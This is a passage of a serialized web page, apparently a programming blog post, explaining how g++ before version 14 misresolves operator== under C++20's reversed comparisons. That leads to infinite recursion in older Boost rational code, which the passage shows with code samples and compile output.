template",{"type":23,"tag":141,"props":88971,"children":88972},{"style":154},[88973],{"type":29,"value":7395},{"type":23,"tag":141,"props":88975,"children":88976},{"style":449},[88977],{"type":29,"value":68893},{"type":23,"tag":141,"props":88979,"children":88980},{"style":725},[88981],{"type":29,"value":4592},{"type":23,"tag":141,"props":88983,"children":88984},{"style":154},[88985],{"type":29,"value":4666},{"type":23,"tag":141,"props":88987,"children":88988},{"class":143,"line":262},[88989,88993,88998,89003,89007,89011,89015,89019,89023,89027],{"type":23,"tag":141,"props":88990,"children":88991},{"style":449},[88992],{"type":29,"value":44950},{"type":23,"tag":141,"props":88994,"children":88995},{"style":449},[88996],{"type":29,"value":88997}," operator",{"type":23,"tag":141,"props":88999,"children":89000},{"style":154},[89001],{"type":29,"value":89002},"==(",{"type":23,"tag":141,"props":89004,"children":89005},{"style":449},[89006],{"type":29,"value":8334},{"type":23,"tag":141,"props":89008,"children":89009},{"style":725},[89010],{"type":29,"value":4592},{"type":23,"tag":141,"props":89012,"children":89013},{"style":449},[89014],{"type":29,"value":1770},{"type":23,"tag":141,"props":89016,"children":89017},{"style":750},[89018],{"type":29,"value":2058},{"type":23,"tag":141,"props":89020,"children":89021},{"style":154},[89022],{"type":29,"value":1748},{"type":23,"tag":141,"props":89024,"children":89025},{"style":449},[89026],{"type":29,"value":8334},{"type":23,"tag":141,"props":89028,"children":89029},{"style":154},[89030],{"type":29,"value":1951},{"type":23,"tag":141,"props":89032,"children":89033},{"class":143,"line":271},[89034,89039,89044,89049,89054],{"type":23,"tag":141,"props":89035,"children":89036},{"style":154},[89037],{"type":29,"value":89038}," std::cout ",{"type":23,"tag":141,"props":89040,"children":89041},{"style":160},[89042],{"type":29,"value":89043},"\u003C\u003C",{"type":23,"tag":141,"props":89045,"children":89046},{"style":828},[89047],{"type":29,"value":89048}," \"clang++ resolved member\"",{"type":23,"tag":141,"props":89050,"children":89051},{"style":160},[89052],{"type":29,"value":89053}," \u003C\u003C",{"type":23,"tag":141,"props":89055,"children":89056},{"style":154},[89057],{"type":29,"value":89058}," std::endl;\n",{"type":23,"tag":141,"props":89060,"children":89061},{"class":143,"line":293},[89062,89066,89070],{"type":23,"tag":141,"props":89063,"children":89064},{"style":148},[89065],{"type":29,"value":14420},{"type":23,"tag":141,"props":89067,"children":89068},{"style":449},[89069],{"type":29,"value":11148},{"type":23,"tag":141,"props":89071,"children":89072},{"style":154},[89073],{"type":29,"value":1684},{"type":23,"tag":141,"props":89075,"children":89076},{"class":143,"line":801},[89077],{"type":23,"tag":141,"props":89078,"children":89079},{"style":154},[89080],{"type":29,"value":299},{"type":23,"tag":141,"props":89082,"children":89083},{"class":143,"line":810},[89084],{"type":23,"tag":141,"props":89085,"children":89086},{"style":154},[89087],{"type":29,"value":1357},{"type":23,"tag":141,"props":89089,"children":89090},{"class":143,"line":824},[89091],{"type":23,"tag":141,"props":89092,"children":89093},{"emptyLinePlaceholder":15},[89094],{"type":29,"value":719},{"type":23,"tag":141,"props":89096,"children":89097},{"class":143,"line":839},[89098,89102,89106,89110,89115,89119,89123,89127],{"type":23,"tag":141,"props":89099,"children":89100},{"style":449},[89101],{"type":29,"value":64698},{"type":23,"tag":141,"props":89103,"children":89104},{"style":154},[89105],{"type":29,"value":7395},{"type":23,"tag":141,"props":89107,"children":89108},{"style":449},[89109],{"type":29,"value":68893},{"type":23,"tag":141,"props":89111,"children":89112},{"style":725},[89113],{"type":29,"value":89114}," Arg",{"type":23,"tag":141,"props":89116,"children":89117},{"style":154},[89118],{"type":29,"value":480},{"type":23,"tag":141,"props":89120,"children":89121},{"style":449},[89122],{"type":29,"value":68893},{"type":23,"tag":141,"props":89124,"children":89125},{"style":725},[89126],{"type":29,"value":88933},{"type":23,"tag":141,"props":89128,"children":89129},{"style":154},[89130],{"type":29,"value":4666},{"type":23,"tag":141,"props":89132,"children":89133},{"class":143,"line":848},[89134,89138,89142,89146,89150,89154,89158,89163,89167,89171,89175,89179,89183,89187,89191,89196],{"type":23,"tag":141,"props":89135,"children":89136},{"style":449},[89137],{"type":29,"value":747},{"type":23,"tag":141,"props":89139,"children":89140},{"style":449},[89141],{"type":29,"value":88997},{"type":23,"tag":141,"props":89143,"children":89144},{"style":154},[89145],{"type":29,"value":89002},{"type":23,"tag":141,"props":89147,"children":89148},{"style":449},[89149],{"type":29,"value":8334},{"type":23,"tag":141,"props":89151,"children":89152},{"style":725},[89153],{"type":29,"value":88949},{"type":23,"tag":141,"props":89155,"children":89156},{"style":154},[89157],{"type":29,"value":4480},{"type":23,"tag":141,"props":89159,"children":89160},{"style":725},[89161],{"type":29,"value":89162},"IntType",{"type":23,"tag":141,"props":89164,"children":89165},{"style":154},[89166],{"type":29,"value":9142},{"type":23,"tag":141,"props":89168,"children":89169},{"style":449},[89170],{"type":29,"value":1770},{"type":23,"tag":141,"props":89172,"children":89173},{"style":750},[89174],{"type":29,"value":88321},{"type":23,"tag":141,"props":89176,"children":89177},{"style":154},[89178],{"type":29,"value":480},{"type":23,"tag":141,"props":89180,"children":89181},{"style":449},[89182],{"type":29,"value":8334},{"type":23,"tag":141,"props":89184,"children":89185},{"style":725},[89186],{"type":29,"value":89114},{"type":23,"tag":141,"props":89188,"children":89189},{"style":449},[89190],{"type":29,"value":1770},{"type":23,"tag":141,"props":89192,"children":89193},{"style":750},[89194],{"type":29,"value":89195}," b",{"type":23,"tag":141,"props":89197,"children":89198},{"style":154},[89199],{"type":29,"value":13480},{"type":23,"tag":141,"props":89201,"children":89202},{"class":143,"line":2304},[89203,89208,89212,89217,89221],{"type":23,"tag":141,"props":89204,"children":89205},{"style":154},[89206],{"type":29,"value":89207}," std::cout ",{"type":23,"tag":141,"props":89209,"children":89210},{"style":160},[89211],{"type":29,"value":89043},{"type":23,"tag":141,"props":89213,"children":89214},{"style":828},[89215],{"type":29,"value":89216}," \"g++ \u003C14 resolved non-member\"",{"type":23,"tag":141,"props":89218,"children":89219},{"style":160},[89220],{"type":29,"value":89053},{"type":23,"tag":141,"props":89222,"children":89223},{"style":154},[89224],{"type":29,"value":89058},{"type":23,"tag":141,"props":89226,"children":89227},{"class":143,"line":2313},[89228,89232,89236],{"type":23,"tag":141,"props":89229,"children":89230},{"style":148},[89231],{"type":29,"value":15665},{"type":23,"tag":141,"props":89233,"children":89234},{"style":449},[89235],{"type":29,"value":7735},{"type":23,"tag":141,"props":89237,"children":89238},{"style":154},[89239],{"type":29,"value":1684},{"type":23,"tag":141,"props":89241,"children":89242},{"class":143,"line":2335},[89243],{"type":23,"tag":141,"props":89244,"children":89245},{"style":154},[89246],{"type":29,"value":2573},{"type":23,"tag":141,"props":89248,"children":89249},{"class":143,"line":2343},[89250],{"type":23,"tag":141,"props":89251,"children":89252},{"emptyLinePlaceholder":15},[89253],{"type":29,"value":719},{"type":23,"tag":141,"props":89255,"children":89256},{"class":143,"line":2352},[89257,89261,89266],{"type":23,"tag":141,"props":89258,"children":89259},{"style":449},[89260],{"type":29,"value":17718},{"type":23,"tag":141,"props":89262,"children":89263},{"style":184},[89264],{"type":29,"value":89265}," main",{"type":23,"tag":141,"props":89267,"children":89268},{"style":154},[89269],{"type":29,"value":14412},{"type":23,"tag":141,"props":89271,"children":89272},{"class":143,"line":2421},[89273,89278,89282,89286,89290],{"type":23,"tag":141,"props":89274,"children":89275},{"style":154},[89276],{"type":29,"value":89277}," rational",{"type":23,"tag":141,"props":89279,"children":89280},{"style":160},[89281],{"type":29,"value":4480},{"type":23,"tag":141,"props":89283,"children":89284},{"style":449},[89285],{"type":29,"value":17718},{"type":23,"tag":141,"props":89287,"children":89288},{"style":160},[89289],{"type":29,"value":9142},{"type":23,"tag":141,"props":89291,"children":89292},{"style":154},[89293],{"type":29,"value":89294}," r;\n",{"type":23,"tag":141,"props":89296,"children":89297},{"class":143,"line":2429},[89298,89302,89307,89311,89315],{"type":23,"tag":141,"props":89299,"children":89300},{"style":148},[89301],{"type":29,"value":15665},{"type":23,"tag":141,"props":89303,"children":89304},{"style":154},[89305],{"type":29,"value":89306}," r ",{"type":23,"tag":141,"props":89308,"children":89309},{"style":160},[89310],{"type":29,"value":7251},{"type":23,"tag":141,"props":89312,"children":89313},{"style":472},[89314],{"type":29,"value":1707},{"type":23,"tag":141,"props":89316,"children":89317},{"style":154},[89318],{"type":29,"value":1684},{"type":23,"tag":141,"props":89320,"children":89321},{"class":143,"line":2459},[89322],{"type":23,"tag":141,"props":89323,"children":89324},{"style":154},[89325],{"type":29,"value":2573},{"type":23,"tag":15362,"props":89327,"children":89328},{},[89329],{"type":23,"tag":120,"props":89330,"children":89331},{},[89332],{"type":29,"value":89333},"Compile with g++\u003C14:",{"type":23,"tag":131,"props":89335,"children":89337},{"code":89336,"language":2919,"meta":7,"className":2920,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[89338],{"type":23,"tag":38,"props":89339,"children":89340},{"__ignoreMap":7},[89341],{"type":23,"tag":141,"props":89342,"children":89343},{"class":143,"line":144},[89344,89349,89354,89359,89364,89368,89373],{"type":23,"tag":141,"props":89345,"children":89346},{"style":184},[89347],{"type":29,"value":89348},"g++",{"type":23,"tag":141,"props":89350,"children":89351},{"style":828},[89352],{"type":29,"value":89353}," -std=c++17",{"type":23,"tag":141,"props":89355,"children":89356},{"style":828},[89357],{"type":29,"value":89358}," main.cpp",{"type":23,"tag":141,"props":89360,"children":89361},{"style":828},[89362],{"type":29,"value":89363}," -o",{"type":23,"tag":141,"props":89365,"children":89366},{"style":828},[89367],{"type":29,"value":29145},{"type":23,"tag":141,"props":89369,"children":89370},{"style":154},[89371],{"type":29,"value":89372}," && ",{"type":23,"tag":141,"props":89374,"children":89375},{"style":184},[89376],{"type":29,"value":89377},"./test\n",{"type":23,"tag":32,"props":89379,"children":89380},{},[89381],{"type":29,"value":89382},"Output (on g++ 11.4):",{"type":23,"tag":131,"props":89384,"children":89386},{"code":89385},"g++ \u003C14 resolved non-member\n",[89387],{"type":23,"tag":38,"props":89388,"children":89389},{"__ignoreMap":7},[89390],{"type":29,"value":89385},{"type":23,"tag":15362,"props":89392,"children":89393},{},[89394],{"type":23,"tag":120,"props":89395,"children":89396},{},[89397],{"type":29,"value":89398},"Compile with clang++:",{"type":23,"tag":131,"props":89400,"children":89402},{"code":89401,"language":2919,"meta":7,"className":2920,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[89403],{"type":23,"tag":38,"props":89404,"children":89405},{"__ignoreMap":7},[89406],{"type":23,"tag":141,"props":89407,"children":89408},{"class":143,"line":144},[89409,89414,89418,89422,89426,89430,89434],{"type":23,"tag":141,"props":89410,"children":89411},{"style":184},[89412],{"type":29,"value":89413},"clang++",{"type":23,"tag":141,"props":89415,"children":89416},{"style":828},[89417],{"type":29,"value":89353},{"type":23,"tag":141,"props":89419,"children":89420},{"style":828},[89421],{"type":29,"value":89358},{"type":23,"tag":141,"props":89423,"children":89424},{"style":828},[89425],{"type":29,"value":89363},{"type":23,"tag":141,"props":89427,"children":89428},{"style":828},[89429],{"type":29,"value":29145},{"type":23,"tag":141,"props":89431,"children":89432},{"style":154},[89433],{"type":29,"value":89372},{"type":23,"tag":141,"props":89435,"children":89436},{"style":184},[89437],{"type":29,"value":89377},{"type":23,"tag":32,"props":89439,"children":89440},{},[89441],{"type":29,"value":89442},"Output:",{"type":23,"tag":131,"props":89444,"children":89446},{"code":89445},"clang++ resolved member\n",[89447],{"type":23,"tag":38,"props":89448,"children":89449},{"__ignoreMap":7},[89450],{"type":29,"value":89445},{"type":23,"tag":32,"props":89452,"children":89453},{},[89454],{"type":29,"value":89455},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":23,"tag":17463,"props":89457,"children":89458},{},[],{"type":23,"tag":24,"props":89460,"children":89462},{"id":89461},"part-ii-c20s-symmetric-comparison-feature",[89463],{"type":29,"value":89464},"Part II: C++20’s Symmetric Comparison Feature",{"type":23,"tag":8287,"props":89466,"children":89468},{"id":89467},"what-changed-in-c20",[89469],{"type":29,"value":89470},"What Changed in C++20?",{"type":23,"tag":32,"props":89472,"children":89473},{},[89474,89476,89489,89490,89495],{"type":29,"value":89475},"C++20 introduced the ",{"type":23,"tag":55,"props":89477,"children":89480},{"href":89478,"rel":89479},"https://en.cppreference.com/w/cpp/language/operator_comparison",[59],[89481,89483],{"type":29,"value":89482},"spaceship operator ",{"type":23,"tag":38,"props":89484,"children":89486},{"className":89485},[],[89487],{"type":29,"value":89488},"\u003C=>",{"type":29,"value":313},{"type":23,"tag":3998,"props":89491,"children":89492},{},[89493],{"type":29,"value":89494},"defaulted comparison rewrites",{"type":29,"value":322},{"type":23,"tag":32,"props":89497,"children":89498},{},[89499,89501,89506],{"type":29,"value":89500},"When you define a two-argument ",{"type":23,"tag":38,"props":89502,"children":89504},{"className":89503},[],[89505],{"type":29,"value":88740},{"type":29,"value":89507},", C++20 may implicitly define the \"reversed\" version:",{"type":23,"tag":15362,"props":89509,"children":89510},{},[89511,89522],{"type":23,"tag":120,"props":89512,"children":89513},{},[89514,89516],{"type":29,"value":89515},"If you define: ",{"type":23,"tag":38,"props":89517,"children":89519},{"className":89518},[],[89520],{"type":29,"value":89521},"bool operator==(T1, T2);",{"type":23,"tag":120,"props":89523,"children":89524},{},[89525,89527,89533],{"type":29,"value":89526},"Then ",{"type":23,"tag":38,"props":89528,"children":89530},{"className":89529},[],[89531],{"type":29,"value":89532},"T2 == T1",{"type":29,"value":89534}," may call the same function by reversing the arguments.",{"type":23,"tag":32,"props":89536,"children":89537},{},[89538,89540,89545,89546,89551,89553,89559,89561,89566],{"type":29,"value":89539},"This rewrite is ",{"type":23,"tag":3998,"props":89541,"children":89542},{},[89543],{"type":29,"value":89544},"recursive",{"type":29,"value":14008},{"type":23,"tag":38,"props":89547,"children":89549},{"className":89548},[],[89550],{"type":29,"value":88732},{"type":29,"value":89552}," becomes ",{"type":23,"tag":38,"props":89554,"children":89556},{"className":89555},[],[89557],{"type":29,"value":89558},"b == a",{"type":29,"value":89560},", which becomes ",{"type":23,"tag":38,"props":89562,"children":89564},{"className":89563},[],[89565],{"type":29,"value":88732},{"type":29,"value":89567}," again, and so on — if not handled carefully.",{"type":23,"tag":32,"props":89569,"children":89570},{},[89571],{"type":29,"value":89572},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":23,"tag":17463,"props":89574,"children":89575},{},[],{"type":23,"tag":24,"props":89577,"children":89579},{"id":89578},"part-iii-the-boost-trapdoor",[89580],{"type":29,"value":89581},"Part III: The Boost Trapdoor",{"type":23,"tag":32,"props":89583,"children":89584},{},[89585,89587,89593,89595,89600],{"type":29,"value":89586},"The old Boost ",{"type":23,"tag":38,"props":89588,"children":89590},{"className":89589},[],[89591],{"type":29,"value":89592},"rational",{"type":29,"value":89594}," class (prior to v1.75) defined both member function and non-member function of ",{"type":23,"tag":38,"props":89596,"children":89598},{"className":89597},[],[89599],{"type":29,"value":88740},{"type":29,"value":114},{"type":23,"tag":131,"props":89602,"children":89604},{"code":89603,"language":135,"meta":7,"className":133,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n return a == b; \n}\n",[89605],{"type":23,"tag":38,"props":89606,"children":89607},{"__ignoreMap":7},[89608,89643,89666,89678,89685,89692,89699,89706,89713,89736,89824,89831,89882,89889,89896,89903,89910,89945,89953,89981,90020,90085,90092,90112],{"type":23,"tag":141,"props":89609,"children":89610},{"class":143,"line":144},[89611,89615,89619,89623,89627,89631,89635,89639],{"type":23,"tag":141,"props":89612,"children":89613},{"style":449},[89614],{"type":29,"value":64698},{"type":23,"tag":141,"props":89616,"children":89617},{"style":154},[89618],{"type":29,"value":7395},{"type":23,"tag":141,"props":89620,"children":89621},{"style":449},[89622],{"type":29,"value":68893},{"type":23,"tag":141,"props":89624,"children":89625},{"style":725},[89626],{"type":29,"value":89114},{"type":23,"tag":141,"props":89628,"children":89629},{"style":154},[89630],{"type":29,"value":480},{"type":23,"tag":141,"props":89632,"children":89633},{"style":449},[89634],{"type":29,"value":68893},{"type":23,"tag":141,"props":89636,"children":89637},{"style":725},[89638],{"type":29,"value":88933},{"type":23,"tag":141,"props":89640,"children":89641},{"style":154},[89642],{"type":29,"value":4666},{"type":23,"tag":141,"props":89644,"children":89645},{"class":143,"line":180},[89646,89650,89654,89658,89662],{"type":23,"tag":141,"props":89647,"children":89648},{"style":449},[89649],{"type":29,"value":64698},{"type":23,"tag":141,"props":89651,"children":89652},{"style":154},[89653],{"type":29,"value":7395},{"type":23,"tag":141,"props":89655,"children":89656},{"style":449},[89657],{"type":29,"value":88928},{"type":23,"tag":141,"props":89659,"children":89660},{"style":725},[89661],{"type":29,"value":88933},{"type":23,"tag":141,"props":89663,"children":89664},{"style":154},[89665],{"type":29,"value":4666},{"type":23,"tag":141,"props":89667,"children":89668},{"class":143,"line":205},[89669,89673],{"type":23,"tag":141,"props":89670,"children":89671},{"style":449},[89672],{"type":29,"value":68893},{"type":23,"tag":141,"props":89674,"children":89675},{"style":725},[89676],{"type":29,"value":89677}," rational\n",{"type":23,"tag":141,"props":89679,"children":89680},{"class":143,"line":218},[89681],{"type":23,"tag":141,"props":89682,"children":89683},{"style":154},[89684],{"type":29,"value":766},{"type":23,"tag":141,"props":89686,"children":89687},{"class":143,"line":227},[89688],{"type":23,"tag":141,"props":89689,"children":89690},{"style":154},[89691],{"type":29,"value":19011},{"type":23,"tag":141,"props":89693,"children":89694},{"class":143,"line":241},[89695],{"type":23,"tag":141,"props":89696,"children":89697},{"style":449},[89698],{"type":29,"value":88961},{"type":23,"tag":141,"props":89700,"children":89701},{"class":143,"line":262},[89702],{"type":23,"tag":141,"props":89703,"children":89704},{"style":154},[89705],{"type":29,"value":19011},{"type":23,"tag":141,"props":89707,"children":89708},{"class":143,"line":271},[89709],{"type":23,"tag":141,"props":89710,"children":89711},{"style":154},[89712],{"type":29,"value":60267},{"type":23,"tag":141,"props":89714,"children":89715},{"class":143,"line":293},[89716,89720,89724,89728,89732],{"type":23,"tag":141,"props":89717,"children":89718},{"style":449},[89719],{"type":29,"value":88969},{"type":23,"tag":141,"props":89721,"children":89722},{"style":154},[89723],{"type":29,"value":7395},{"type":23,"tag":141,"props":89725,"children":89726},{"style":449},[89727],{"type":29,"value":68893},{"type":23,"tag":141,"props":89729,"children":89730},{"style":725},[89731],{"type":29,"value":4592},{"type":23,"tag":141,"props":89733,"children":89734},{"style":154},[89735],{"type":29,"value":4666},{"type":23,"tag":141,"props":89737,"children":89738},{"class":143,"line":801},[89739,89744,89748,89753,89757,89761,89765,89770,89774,89778,89782,89786,89790,89794,89799,89803,89807,89811,89815,89819],{"type":23,"tag":141,"props":89740,"children":89741},{"style":154},[89742],{"type":29,"value":89743}," BOOST_CONSTEXPR ",{"type":23,"tag":141,"props":89745,"children":89746},{"style":449},[89747],{"type":29,"value":88928},{"type":23,"tag":141,"props":89749,"children":89750},{"style":154},[89751],{"type":29,"value":89752}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":23,"tag":141,"props":89754,"children":89755},{"style":725},[89756],{"type":29,"value":4661},{"type":23,"tag":141,"props":89758,"children":89759},{"style":154},[89760],{"type":29,"value":480},{"type":23,"tag":141,"props":89762,"children":89763},{"style":725},[89764],{"type":29,"value":89162},{"type":23,"tag":141,"props":89766,"children":89767},{"style":154},[89768],{"type":29,"value":89769},">::",{"type":23,"tag":141,"props":89771,"children":89772},{"style":725},[89773],{"type":29,"value":37623},{"type":23,"tag":141,"props":89775,"children":89776},{"style":154},[89777],{"type":29,"value":480},{"type":23,"tag":141,"props":89779,"children":89780},{"style":449},[89781],{"type":29,"value":747},{"type":23,"tag":141,"props":89783,"children":89784},{"style":154},[89785],{"type":29,"value":89769},{"type":23,"tag":141,"props":89787,"children":89788},{"style":725},[89789],{"type":29,"value":31225},{"type":23,"tag":141,"props":89791,"children":89792},{"style":449},[89793],{"type":29,"value":88997},{"type":23,"tag":141,"props":89795,"children":89796},{"style":154},[89797],{"type":29,"value":89798},"== (",{"type":23,"tag":141,"props":89800,"children":89801},{"style":449},[89802],{"type":29,"value":8334},{"type":23,"tag":141,"props":89804,"children":89805},{"style":725},[89806],{"type":29,"value":4592},{"type":23,"tag":141,"props":89808,"children":89809},{"style":449},[89810],{"type":29,"value":1770},{"type":23,"tag":141,"props":89812,"children":89813},{"style":750},[89814],{"type":29,"value":2058},{"type":23,"tag":141,"props":89816,"children":89817},{"style":154},[89818],{"type":29,"value":1748},{"type":23,"tag":141,"props":89820,"children":89821},{"style":449},[89822],{"type":29,"value":89823},"const\n",{"type":23,"tag":141,"props":89825,"children":89826},{"class":143,"line":810},[89827],{"type":23,"tag":141,"props":89828,"children":89829},{"style":154},[89830],{"type":29,"value":224},{"type":23,"tag":141,"props":89832,"children":89833},{"class":143,"line":824},[89834,89839,89844,89848,89852,89856,89860,89864,89868,89873,89877],{"type":23,"tag":141,"props":89835,"children":89836},{"style":148},[89837],{"type":29,"value":89838}," return",{"type":23,"tag":141,"props":89840,"children":89841},{"style":154},[89842],{"type":29,"value":89843}," ((den ",{"type":23,"tag":141,"props":89845,"children":89846},{"style":160},[89847],{"type":29,"value":7251},{"type":23,"tag":141,"props":89849,"children":89850},{"style":184},[89851],{"type":29,"value":88933},{"type":23,"tag":141,"props":89853,"children":89854},{"style":154},[89855],{"type":29,"value":192},{"type":23,"tag":141,"props":89857,"children":89858},{"style":472},[89859],{"type":29,"value":687},{"type":23,"tag":141,"props":89861,"children":89862},{"style":154},[89863],{"type":29,"value":7513},{"type":23,"tag":141,"props":89865,"children":89866},{"style":160},[89867],{"type":29,"value":71680},{"type":23,"tag":141,"props":89869,"children":89870},{"style":154},[89871],{"type":29,"value":89872}," (num ",{"type":23,"tag":141,"props":89874,"children":89875},{"style":160},[89876],{"type":29,"value":7251},{"type":23,"tag":141,"props":89878,"children":89879},{"style":154},[89880],{"type":29,"value":89881}," i));\n",{"type":23,"tag":141,"props":89883,"children":89884},{"class":143,"line":839},[89885],{"type":23,"tag":141,"props":89886,"children":89887},{"style":154},[89888],{"type":29,"value":299},{"type":23,"tag":141,"props":89890,"children":89891},{"class":143,"line":848},[89892],{"type":23,"tag":141,"props":89893,"children":89894},{"style":154},[89895],{"type":29,"value":19011},{"type":23,"tag":141,"props":89897,"children":89898},{"class":143,"line":2304},[89899],{"type":23,"tag":141,"props":89900,"children":89901},{"style":154},[89902],{"type":29,"value":2573},{"type":23,"tag":141,"props":89904,"children":89905},{"class":143,"line":2313},[89906],{"type":23,"tag":141,"props":89907,"children":89908},{"emptyLinePlaceholder":15},[89909],{"type":29,"value":719},{"type":23,"tag":141,"props":89911,"children":89912},{"class":143,"line":2335},[89913,89917,89921,89925,89929,89933,89937,89941],{"type":23,"tag":141,"props":89914,"children":89915},{"style":449},[89916],{"type":29,"value":64698},{"type":23,"tag":141,"props":89918,"children":89919},{"style":154},[89920],{"type":29,"value":7395},{"type":23,"tag":141,"props":89922,"children":89923},{"style":449},[89924],{"type":29,"value":68893},{"type":23,"tag":141,"props":89926,"children":89927},{"style":725},[89928],{"type":29,"value":89114},{"type":23,"tag":141,"props":89930,"children":89931},{"style":154},[89932],{"type":29,"value":480},{"type":23,"tag":141,"props":89934,"children":89935},{"style":449},[89936],{"type":29,"value":68893},{"type":23,"tag":141,"props":89938,"children":89939},{"style":725},[89940],{"type":29,"value":88933},{"type":23,"tag":141,"props":89942,"children":89943},{"style":154},[89944],{"type":29,"value":4666},{"type":23,"tag":141,"props":89946,"children":89947},{"class":143,"line":2343},[89948],{"type":23,"tag":141,"props":89949,"children":89950},{"style":154},[89951],{"type":29,"value":89952},"BOOST_CONSTEXPR\n",{"type":23,"tag":141,"props":89954,"children":89955},{"class":143,"line":2352},[89956,89961,89966,89971,89976],{"type":23,"tag":141,"props":89957,"children":89958},{"style":449},[89959],{"type":29,"value":89960},"inline",{"type":23,"tag":141,"props":89962,"children":89963},{"style":449},[89964],{"type":29,"value":89965}," typename",{"type":23,"tag":141,"props":89967,"children":89968},{"style":154},[89969],{"type":29,"value":89970}," boost::",{"type":23,"tag":141,"props":89972,"children":89973},{"style":725},[89974],{"type":29,"value":89975},"enable_if_c",{"type":23,"tag":141,"props":89977,"children":89978},{"style":160},[89979],{"type":29,"value":89980}," \u003C\n",{"type":23,"tag":141,"props":89982,"children":89983},{"class":143,"line":2421},[89984,89989,89994,89998,90002,90007,90011,90015],{"type":23,"tag":141,"props":89985,"children":89986},{"style":154},[89987],{"type":29,"value":89988}," rational_detail::is_compatible_integer\u003C",{"type":23,"tag":141,"props":89990,"children":89991},{"style":725},[89992],{"type":29,"value":89993},"Arg",{"type":23,"tag":141,"props":89995,"children":89996},{"style":154},[89997],{"type":29,"value":480},{"type":23,"tag":141,"props":89999,"children":90000},{"style":725},[90001],{"type":29,"value":89162},{"type":23,"tag":141,"props":90003,"children":90004},{"style":154},[90005],{"type":29,"value":90006},">::value, ",{"type":23,"tag":141,"props":90008,"children":90009},{"style":449},[90010],{"type":29,"value":747},{"type":23,"tag":141,"props":90012,"children":90013},{"style":160},[90014],{"type":29,"value":9142},{"type":23,"tag":141,"props":90016,"children":90017},{"style":154},[90018],{"type":29,"value":90019},"::type\n",{"type":23,"tag":141,"props":90021,"children":90022},{"class":143,"line":2429},[90023,90028,90033,90037,90041,90045,90049,90053,90057,90061,90065,90069,90073,90077,90081],{"type":23,"tag":141,"props":90024,"children":90025},{"style":449},[90026],{"type":29,"value":90027}," operator",{"type":23,"tag":141,"props":90029,"children":90030},{"style":154},[90031],{"type":29,"value":90032}," == (",{"type":23,"tag":141,"props":90034,"children":90035},{"style":449},[90036],{"type":29,"value":8334},{"type":23,"tag":141,"props":90038,"children":90039},{"style":725},[90040],{"type":29,"value":89114},{"type":23,"tag":141,"props":90042,"children":90043},{"style":449},[90044],{"type":29,"value":1770},{"type":23,"tag":141,"props":90046,"children":90047},{"style":750},[90048],{"type":29,"value":89195},{"type":23,"tag":141,"props":90050,"children":90051},{"style":154},[90052],{"type":29,"value":480},{"type":23,"tag":141,"props":90054,"children":90055},{"style":449},[90056],{"type":29,"value":8334},{"type":23,"tag":141,"props":90058,"children":90059},{"style":725},[90060],{"type":29,"value":88949},{"type":23,"tag":141,"props":90062,"children":90063},{"style":154},[90064],{"type":29,"value":4480},{"type":23,"tag":141,"props":90066,"children":90067},{"style":725},[90068],{"type":29,"value":89162},{"type":23,"tag":141,"props":90070,"children":90071},{"style":154},[90072],{"type":29,"value":9142},{"type":23,"tag":141,"props":90074,"children":90075},{"style":449},[90076],{"type":29,"value":1770},{"type":23,"tag":141,"props":90078,"children":90079},{"style":750},[90080],{"type":29,"value":88321},{"type":23,"tag":141,"props":90082,"children":90083},{"style":154},[90084],{"type":29,"value":758},{"type":23,"tag":141,"props":90086,"children":90087},{"class":143,"line":2459},[90088],{"type":23,"tag":141,"props":90089,"children":90090},{"style":154},[90091],{"type":29,"value":766},{"type":23,"tag":141,"props":90093,"children":90094},{"class":143,"line":2467},[90095,90099,90103,90107],{"type":23,"tag":141,"props":90096,"children":90097},{"style":148},[90098],{"type":29,"value":37828},{"type":23,"tag":141,"props":90100,"children":90101},{"style":154},[90102],{"type":29,"value":15440},{"type":23,"tag":141,"props":90104,"children":90105},{"style":160},[90106],{"type":29,"value":7251},{"type":23,"tag":141,"props":90108,"children":90109},{"style":154},[90110],{"type":29,"value":90111}," b; \n",{"type":23,"tag":141,"props":90113,"children":90114},{"class":143,"line":2499},[90115],{"type":23,"tag":141,"props":90116,"children":90117},{"style":154},[90118],{"type":29,"value":2573},{"type":23,"tag":32,"props":90120,"children":90121},{},[90122,90124,90130],{"type":29,"value":90123},"This was designed under C++17 semantics. Back then, ",{"type":23,"tag":38,"props":90125,"children":90127},{"className":90126},[],[90128],{"type":29,"value":90129},"rhs == lhs",{"type":29,"value":90131}," would fall back to member overloads if available. All good.",{"type":23,"tag":32,"props":90133,"children":90134},{},[90135,90137,90142,90143,90149],{"type":29,"value":90136},"But under ",{"type":23,"tag":38,"props":90138,"children":90140},{"className":90139},[],[90141],{"type":29,"value":88686},{"type":29,"value":20176},{"type":23,"tag":38,"props":90144,"children":90146},{"className":90145},[],[90147],{"type":29,"value":90148},"G++ \u003C 14",{"type":29,"value":114},{"type":23,"tag":15362,"props":90151,"children":90152},{},[90153,90158,90163,90168],{"type":23,"tag":120,"props":90154,"children":90155},{},[90156],{"type":29,"value":90157},"G++ incorrectly chooses this non-member operator first",{"type":23,"tag":120,"props":90159,"children":90160},{},[90161],{"type":29,"value":90162},"C++20 reverses the comparison",{"type":23,"tag":120,"props":90164,"children":90165},{},[90166],{"type":29,"value":90167},"Which calls the same function again with arguments flipped",{"type":23,"tag":120,"props":90169,"children":90170},{},[90171],{"type":29,"value":90172},"And so on...",{"type":23,"tag":32,"props":90174,"children":90175},{},[90176,90178,90183],{"type":29,"value":90177},"This creates ",{"type":23,"tag":3998,"props":90179,"children":90180},{},[90181],{"type":29,"value":90182},"infinite recursion",{"type":29,"value":322},{"type":23,"tag":32,"props":90185,"children":90186},{},[90187],{"type":29,"value":90188},"A minimal example:",{"type":23,"tag":131,"props":90190,"children":90192},{"code":90191,"language":135,"meta":7,"className":133,"style":7},"// g++ 